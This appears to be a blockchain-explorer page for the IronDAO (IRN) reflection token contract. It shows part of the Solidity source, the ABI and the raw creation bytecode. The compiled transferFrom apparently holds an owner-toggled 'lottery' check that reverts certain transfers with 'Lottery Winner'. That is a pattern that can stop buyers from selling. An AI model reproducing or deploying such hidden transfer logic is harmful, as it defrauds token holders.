contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= numTokensSellToAddToLiquidity;
if (
overMinTokenBalance &&
!inSwapAndLiquify &&
from != uniswapV2Pair &&
swapAndLiquifyEnabled
) {
contractTokenBalance = numTokensSellToAddToLiquidity;
//add liquidity
swapAndLiquify(contractTokenBalance);
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
//transfer amount, it will take tax, burn, liquidity fee
_tokenTransfer(from,to,amount,takeFee);
}
function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {
// split the contract balance into halves
uint256 half = contractTokenBalance.div(2);
uint256 otherHalf = contractTokenBalance.sub(half);
// capture the contract's current ETH balance.
// this is so that we can capture exactly the amount of ETH that the
// swap creates, and not make the liquidity event include any ETH that
// has been manually sent to the contract
uint256 initialBalance = address(this).balance;
// swap tokens for ETH
swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered
// how much ETH did we just swap into?
uint256 newBalance = address(this).balance.sub(initialBalance);
// add liquidity to uniswap
addLiquidity(otherHalf, newBalance);
emit SwapAndLiquify(half, newBalance, otherHalf);
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
owner(),
block.timestamp
);
}
//this method is responsible for taking all fee, if takeFee is true
function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"minTokensBeforeSwap","type":"uint256"}],"name":"MinTokensBeforeSwapUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[],"name":"dAPPRewardsOff","type":"event"},{"anonymous":false,"inputs":[],"name":"dAPPRewardsOn","type":"event"},{"inputs":[],"name":"BurnToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"LockTreasury","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"geUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"lottery","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercent","type":"uint256"}],"name":"setMaxTxPercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"special","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_lottery","type":"address"}],"name":"transferlottery","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]Contract Creation Code
60c06040526000600360006101000a81548160ff0219169083151502179055506509184e72a000600a55600a54600019816200003757fe5b0660001903600b556040518060400160405280600781526020017f49726f6e44414f00000000000000000000000000000000000000000000000000815250600d90805190602001906200008c9291906200060e565b506040518060400160405280600381526020017f49524e0000000000000000000000000000000000000000000000000000000000815250600e9080519060200190620000da9291906200060e565b506009600f60006101000a81548160ff021916908360ff1602179055506000601055601054601155600a6012556012546013556001601460156101000a81548160ff0219169083151502179055506509184e72a0006015556509184e72a0006016553480156200014957600080fd5b5060006200015c620005dd60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600b546004600062000211620005dd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002af57600080fd5b505afa158015620002c4573d6000803e3d6000fd5b505050506040513d6020811015620002db57600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034f57600080fd5b505afa15801562000364573d6000803e3d6000fd5b505050506040513d60208110156200037b57600080fd5b81019080805190602001909291905050506040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff16815260200192505050602060405180830381600087803b158015620003f657600080fd5b505af11580156200040b573d6000803e3d6000fd5b505050506040513d60208110156200042257600080fd5b810190808051906020019092919050505073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b81525050600160076000620004b6620005e560201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200056f620005dd60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a546040518082815260200191505060405180910390a350620006b4565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200065157805160ff191683800117855562000682565b8280016001018555821562000682579182015b828111156200068157825182559160200191906001019062000664565b5b50905062000691919062000695565b5090565b5b80821115620006b057600081600090555060010162000696565b5090565b60805160601c60a05160601c615672620006fc60003980611be752806137e552508061100a52806144cf52806145bb52806145e252806146ed528061471452506156726000f3fe6080604052600436106102555760003560e01c8063715018a611610139578063a9059cbb116100b6578063ce9a3b0f1161007a578063ce9a3b0f14610ca2578063d543dbeb14610ccf578063dd46706414610d0a578063dd62ed3e14610d45578063ea2f0b3714610dca578063f2fde38b14610e1b5761025c565b8063a9059cbb14610b71578063b6c5232414610be2578063ba13a57214610c0d578063c2b1a6b914610c4e578063c49b9a8014610c655761025c565b806392734aee116100fd57806392734aee146109f157806395d89b4114610a08578063a457c2d714610a98578063a69df4b514610b09578063a73b3c8214610b205761025c565b8063715018a6146108cc5780637d1db4a5146108e357806388f820201461090e5780638da5cb5b146109755780638ee88c53146109b65761025c565b806339509351116101d257806349bd5a5e1161019657806349bd5a5e146107165780634a74bb021461075757806352390c02146107845780635342acb4146107d55780636bc87c3a1461083c57806370a08231146108675761025c565b806339509351146105935780633b124fe7146106045780633bd5d1731461062f578063437823ec1461066a5780634549b039146106bb5761025c565b806318160ddd1161021957806318160ddd1461040957806323b872dd146104345780632d838119146104c5578063313ce567146105145780633685d419146105425761025c565b8063061c82d01461026157806306fdde031461029c578063095ea7b31461032c57806313114a9d1461039d5780631694505e146103c85761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b5061029a6004803603602081101561028457600080fd5b8101908080359060200190929190505050610e6c565b005b3480156102a857600080fd5b506102b1610f3e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102f15780820151818401526020810190506102d6565b50505050905090810190601f16801561031e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561033857600080fd5b506103856004803603604081101561034f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fe0565b60405180821515815260200191505060405180910390f35b3480156103a957600080fd5b506103b2610ffe565b6040518082815260200191505060405180910390f35b3480156103d457600080fd5b506103dd611008565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041557600080fd5b5061041e61102c565b6040518082815260200191505060405180910390f35b34801561044057600080fd5b506104ad6004803603606081101561045757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611036565b60405180821515815260200191505060405180910390f35b3480156104d157600080fd5b506104fe600480360360208110156104e857600080fd5b810190808035906020019092919050505061139c565b6040518082815260200191505060405180910390f35b34801561052057600080fd5b50610529611420565b604051808260ff16815260200191505060405180910390f35b34801561054e57600080fd5b506105916004803603602081101561056557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611437565b005b34801561059f57600080fd5b506105ec600480360360408110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506117c1565b60405180821515815260200191505060405180910390f35b34801561061057600080fd5b50610619611874565b6040518082815260200191505060405180910390f35b34801561063b57600080fd5b506106686004803603602081101561065257600080fd5b810190808035906020019092919050505061187a565b005b34801561067657600080fd5b506106b96004803603602081101561068d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a0b565b005b3480156106c757600080fd5b50610700600480360360408110156106de57600080fd5b8101908080359060200190929190803515159060200190929190505050611b2e565b6040518082815260200191505060405180910390f35b34801561072257600080fd5b5061072b611be5565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561076357600080fd5b5061076c611c09565b60405180821515815260200191505060405180910390f35b34801561079057600080fd5b506107d3600480360360208110156107a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1c565b005b3480156107e157600080fd5b50610824600480360360208110156107f857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f36565b60405180821515815260200191505060405180910390f35b34801561084857600080fd5b50610851611f8c565b6040518082815260200191505060405180910390f35b34801561087357600080fd5b506108b66004803603602081101561088a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f92565b6040518082815260200191505060405180910390f35b3480156108d857600080fd5b506108e161207d565b005b3480156108ef57600080fd5b506108f8612203565b6040518082815260200191505060405180910390f35b34801561091a57600080fd5b5061095d6004803603602081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612209565b60405180821515815260200191505060405180910390f35b34801561098157600080fd5b5061098a61225f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156109c257600080fd5b506109ef600480360360208110156109d957600080fd5b8101908080359060200190929190505050612288565b005b3480156109fd57600080fd5b50610a0661235a565b005b348015610a1457600080fd5b50610a1d612485565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a5d578082015181840152602081019050610a42565b50505050905090810190601f168015610a8a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610aa457600080fd5b50610af160048036036040811015610abb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612527565b60405180821515815260200191505060405180910390f35b348015610b1557600080fd5b50610b1e6125f4565b005b348015610b2c57600080fd5b50610b6f60048036036020811015610b4357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612811565b005b348015610b7d57600080fd5b50610bca60048036036040811015610b9457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061291d565b60405180821515815260200191505060405180910390f35b348015610bee57600080fd5b50610bf7612a37565b6040518082815260200191505060405180910390f35b348015610c1957600080fd5b50610c22612a41565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5a57600080fd5b50610c63612a67565b005b348015610c7157600080fd5b50610ca060048036036020811015610c8857600080fd5b81019080803515159060200190929190505050612b91565b005b348015610cae57600080fd5b50610cb7612caf565b60405180821515815260200191505060405180910390f35b348015610cdb57600080fd5b50610d0860048036036020811015610cf257600080fd5b8101908080359060200190929190505050612cc2565b005b348015610d1657600080fd5b50610d4360048036036020811015610d2d57600080fd5b8101908080359060200190929190505050612dbd565b005b348015610d5157600080fd5b50610db460048036036040811015610d6857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fae565b6040518082815260200191505060405180910390f35b348015610dd657600080fd5b50610e1960048036036020811015610ded57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613035565b005b348015610e2757600080fd5b50610e6a60048036036020811015610e3e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050613158565b005b610e74613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8060108190555050565b6060600d8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fd65780601f10610fab57610100808354040283529160200191610fd6565b820191906000526020600020905b815481529060010190602001808311610fb957829003601f168201915b5050505050905090565b6000610ff4610fed613363565b848461336b565b6001905092915050565b6000600c54905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600a54905090565b600060011515600360009054906101000a900460ff16151514156112c457600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156110df5750600073ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b1561112a5782601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506111ef565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156111ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f4c6f74746572792057696e6e657200000000000000000000000000000000000081525060200191505060405180910390fd5b5b6111fa848484613562565b6112bb84611206613363565b6112b68560405180606001604052806028815260200161552f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061126c613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b60019050611395565b6112cf848484613562565b611390846112db613363565b61138b8560405180606001604052806028815260200161552f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611341613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546139259092919063ffffffff16565b61336b565b600190505b9392505050565b6000600b548211156113f9576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a815260200180615474602a913960400191505060405180910390fd5b60006114036139e5565b90506114188184613a1090919063ffffffff16565b915050919050565b6000600f60009054906101000a900460ff16905090565b61143f613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166115be576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b60005b6009805490508110156117bd578173ffffffffffffffffffffffffffffffffffffffff16600982815481106115f257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156117b05760096001600980549050038154811061164e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009828154811061168657fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600980548061177657fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff021916905590556117bd565b80806001019150506115c1565b5050565b600061186a6117ce613363565b8461186585600660006117df613363565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613a5a90919063ffffffff16565b61336b565b6001905092915050565b60105481565b6000611884613363565b9050600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611929576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602c8152602001806155c9602c913960400191505060405180910390fd5b600061193483613ae2565b5050505050905061198d81600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054613b3e90919063ffffffff16565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e581600b54613b3e90919063ffffffff16565b600b81905550611a0083600c54613a5a90919063ffffffff16565b600c81905550505050565b611a13613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ad3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600a54831115611ba8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f416d6f756e74206d757374206265206c657373207468616e20737570706c790081525060200191505060405180910390fd5b81611bc8576000611bb884613ae2565b5050505050905080915050611bdf565b6000611bd384613ae2565b50505050915050809150505b92915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b601460159054906101000a900460ff1681565b611c24613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ce4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600860008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611da4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c7265616479206578636c75646564000000000081525060200191505060405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115611e7857611e34600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6001600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506009819080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60125481565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561202d57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050612078565b612075600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461139c565b90505b919050565b612085613363565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612145576040517f08